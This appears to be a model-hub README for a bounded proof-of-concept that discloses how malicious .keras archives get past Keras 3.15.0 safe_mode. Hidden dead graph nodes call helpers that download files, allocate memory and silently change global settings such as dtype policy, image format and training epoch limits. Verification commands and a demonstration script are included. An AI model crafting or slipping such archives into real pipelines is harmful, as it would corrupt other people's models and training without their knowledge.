Keras dead Functional operation safe-mode execution PoC

This repository contains bounded proof-of-concept .keras archives for a Keras Native loading issue tested on Keras 3.15.0.

The main payload is:

dead_switch_keras_utils_pad_sequences.keras

It is a valid .keras archive with config.json, metadata.json, and model.weights.h5. Its model output is the benign input layer, but its Functional config also contains an unconnected keras.src.ops.core.Switch node. During keras.saving.load_model(..., safe_mode=True), Keras processes that dead inbound node and calls keras.utils.pad_sequences([[1]], 25000000, "float64"), allocating about 190 MiB before returning the model.

A secondary payload shows process-global config mutation:

dead_switch_keras_config_set_dtype_policy.keras

It calls keras.config.set_dtype_policy("mixed_float16") during safe-mode loading.

That mutation is not just cosmetic. After loading the malicious archive, a later benign default-policy model computes in float16 instead of float32 and returns a different output:

before: dtype_policy=float32, compute_dtype=float32, out=1.000100016593933
after:  dtype_policy=mixed_float16, compute_dtype=float16, out=1.0

An optional network/file-write payload shows an indirect bypass of the keras.utils.get_file denylist:

dead_switch_keras_datasets_mnist_load_data.keras

It calls keras.datasets.mnist.load_data() during safe-mode loading. If run with --load, it downloads mnist.npz through Keras' dataset helper and writes it under KERAS_HOME. Use the --keras-home option below to keep this isolated.

An additional current 3.15.0 dataset-helper payload shows that the same dead node path can control the cache filename written under KERAS_HOME:

dead_switch_keras_datasets_reuters_get_word_index.keras

It calls keras.datasets.reuters.get_word_index("reuters_word_index_mfv_20260626.json") during safe-mode loading. In an isolated KERAS_HOME, it downloads and writes:

datasets/reuters_word_index_mfv_20260626.json

The strongest dataset-helper sink found in the current 3.15.0 reachability sweep is:

dead_switch_keras_datasets_fashion_mnist_load_data.keras

It calls keras.datasets.fashion_mnist.load_data() during safe-mode loading. In an isolated KERAS_HOME, it downloads and writes four gzip dataset members:

datasets/fashion-mnist/train-labels-idx1-ubyte.gz
datasets/fashion-mnist/train-images-idx3-ubyte.gz
datasets/fashion-mnist/t10k-labels-idx1-ubyte.gz
datasets/fashion-mnist/t10k-images-idx3-ubyte.gz

In the recorded run on Keras 3.15.0, this added about 92.3 MiB max RSS while still returning ok:Functional.

An additional bounded applications-helper payload reaches a smaller normal Keras download path:

dead_switch_keras_applications_imagenet_utils_decode_predictions.keras

It calls keras.applications.imagenet_utils.decode_predictions() during safe-mode loading with a serialized (1, 1000) NumPy prediction batch and top=1. In an isolated KERAS_HOME, it downloads and writes:

models/imagenet_class_index.json

In the recorded run on Keras 3.15.0, this still returned ok:Functional while writing a 35363 byte metadata file and adding 0.0 B max RSS. This is the cleanest bounded get_file-adjacent side effect currently reproduced in the dead-node family.

An additional pure process-integrity payload avoids network and file-write dependencies entirely:

dead_switch_keras_config_disable_traceback_filtering.keras

It calls keras.config.disable_traceback_filtering() during safe-mode loading. In the recorded 3.15.0 run:

  • load_result still returned ok:Functional
  • traceback_filtering_before=True
  • traceback_filtering_after=False

This is a smaller same-family effect than the dataset / application helpers, but it is useful as a bounded no-network / no-file-write strengthening example.

Another pure process-integrity payload changes the expected image tensor layout for later benign models:

dead_switch_keras_config_set_image_data_format.keras

It calls keras.config.set_image_data_format("channels_first") during safe-mode loading. In the recorded run:

  • load_result still returned ok:Functional
  • before the malicious load, a benign Conv2D model accepted NHWC input and produced shape (1, 2, 2, 1)
  • after the malicious load, the same benign model path no longer used the same layout assumptions; in the current replay environment it produced:
    • image_data_format = channels_first
    • out_shape = (1, 1, 2, 1)
    • different output values

This is a bounded same-family effect showing that a malicious .keras file can silently poison later benign image-model assumptions without any network or file write.

Another pure process-integrity payload changes the default float dtype used by later benign helper APIs:

dead_switch_keras_config_set_floatx.keras

It calls keras.config.set_floatx("float64") during safe-mode loading. In the recorded replay:

  • load_result still returned ok:Functional
  • floatx changed from float32 to float64
  • later benign helper APIs changed dtype:
    • keras.ops.ones(...).dtype: float32 -> float64
    • keras.random.uniform(...).dtype: float32 -> float64
  • a simple Dense example remained float32, so this is a selective helper-API drift rather than a universal model-output mutation

Two more current 3.15.0 payloads silently change later benign training behavior:

dead_switch_keras_config_set_max_epochs_1.keras
dead_switch_keras_config_set_max_steps_per_epoch_1.keras

They call:

keras.config.set_max_epochs(1)
keras.config.set_max_steps_per_epoch(1)

In the recorded jax backend run:

  • set_max_epochs(1) changed a benign 3-epoch / 12-batch training run into 1 epoch / 4 batches
  • set_max_steps_per_epoch(1) changed a benign 3-epoch / 12-batch run into 3 epochs / 3 batches

Verify

Inspect without loading:

python verify_poc.py

Trigger the bounded load-time behavior:

python verify_poc.py --load

Expected result for the main payload:

  • safe_mode is true
  • load_result is ok:Functional
  • dead_function is keras.utils.pad_sequences
  • max RSS increases during load_model()

Verify the config mutation payload:

python verify_poc.py dead_switch_keras_config_set_dtype_policy.keras --load

Expected result:

  • load_result is ok:Functional
  • before.dtype_policy is <DTypePolicy "float32">
  • after.dtype_policy is <DTypePolicy "mixed_float16">

The local evidence file verify-poc-dtype-policy-output-manipulation-20260626.json also shows a later benign model switching from float32 compute/output to float16 compute/output after the malicious archive loads.

Verify the optional dataset download payload in an isolated cache directory:

python verify_poc.py dead_switch_keras_datasets_mnist_load_data.keras --load --keras-home ./keras-home-mnist

Expected result:

  • load_result is ok:Functional
  • dead_function is keras.datasets.mnist.load_data
  • new_keras_home_files includes datasets/mnist.npz

Verify the Reuters dataset-helper payload:

python verify_poc.py dead_switch_keras_datasets_reuters_get_word_index.keras --load --keras-home ./keras-home-reuters

Expected result:

  • load_result is ok:Functional
  • dead_function is keras.datasets.reuters.get_word_index
  • new_keras_home_files includes datasets/reuters_word_index_mfv_20260626.json

Verify the stronger Fashion-MNIST dataset payload:

python verify_poc.py dead_switch_keras_datasets_fashion_mnist_load_data.keras --load --keras-home ./keras-home-fashion-mnist

Expected result:

  • load_result is ok:Functional
  • dead_function is keras.datasets.fashion_mnist.load_data
  • new_keras_home_files includes the four datasets/fashion-mnist/*.gz files
  • max_rss_delta_human is about 92.3 MiB in the recorded Keras 3.15.0 run

Verify the bounded ImageNet metadata-helper payload:

python verify_poc.py dead_switch_keras_applications_imagenet_utils_decode_predictions.keras --load --keras-home ./keras-home-imagenet-decode

Expected result:

  • load_result is ok:Functional
  • dead_function is keras.applications.imagenet_utils.decode_predictions
  • new_keras_home_files includes models/imagenet_class_index.json
  • max_rss_delta_human is 0.0 B in the recorded Keras 3.15.0 run

Verify the hidden training-truncation payloads on jax:

KERAS_BACKEND=jax python - <<'PY'
import json, os, keras, numpy as np

def run_fit(reset=True):
    if reset:
        keras.config.set_max_epochs(None)
        keras.config.set_max_steps_per_epoch(None)
    x = np.zeros((8, 2), dtype=np.float32)
    y = np.zeros((8, 1), dtype=np.float32)
    model = keras.Sequential([keras.layers.Input(shape=(2,)), keras.layers.Dense(1, use_bias=False)])
    model.compile(optimizer="sgd", loss="mse")
    events = {"epochs": 0, "batches": 0}
    class Counter(keras.callbacks.Callback):
        def on_epoch_end(self, epoch, logs=None): events["epochs"] += 1
        def on_train_batch_end(self, batch, logs=None): events["batches"] += 1
    hist = model.fit(x, y, epochs=3, batch_size=2, verbose=0, callbacks=[Counter()])
    return {"epochs_seen": events["epochs"], "batches_seen": events["batches"], "history_loss_len": len(hist.history["loss"])}

before = run_fit(True)
keras.saving.load_model("dead_switch_keras_config_set_max_epochs_1.keras", safe_mode=True)
after_epochs = run_fit(False)
keras.config.set_max_epochs(None)
keras.config.set_max_steps_per_epoch(None)
before_steps = run_fit(True)
keras.saving.load_model("dead_switch_keras_config_set_max_steps_per_epoch_1.keras", safe_mode=True)
after_steps = run_fit(False)
print(json.dumps({"max_epochs_payload": {"before": before, "after": after_epochs}, "max_steps_payload": {"before": before_steps, "after": after_steps}}, indent=2))
PY

Expected result:

  • max_epochs_payload.after.epochs_seen == 1
  • max_steps_payload.after.batches_seen == 3

Verify the no-network traceback-filtering payload:

python verify_poc.py dead_switch_keras_config_disable_traceback_filtering.keras --load

Expected result:

  • load_result is ok:Functional
  • traceback_filtering_before is true
  • traceback_filtering_after is false

Verify the image-data-format mutation payload:

python verify_image_data_format_remote.py

Expected result:

  • load_result is ok:Functional
  • before.image_data_format is channels_last
  • after.image_data_format becomes channels_first
  • the benign image-model path changes shape/value behavior after the malicious load

Verify the floatx mutation payload:

python verify_set_floatx_remote.py

Expected result:

  • load_result is ok:Functional
  • before.floatx is float32
  • after.floatx becomes float64
  • later benign helper APIs also change dtype:
    • ops_ones_dtype
    • random_uniform_dtype
Downloads last month
3,187
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support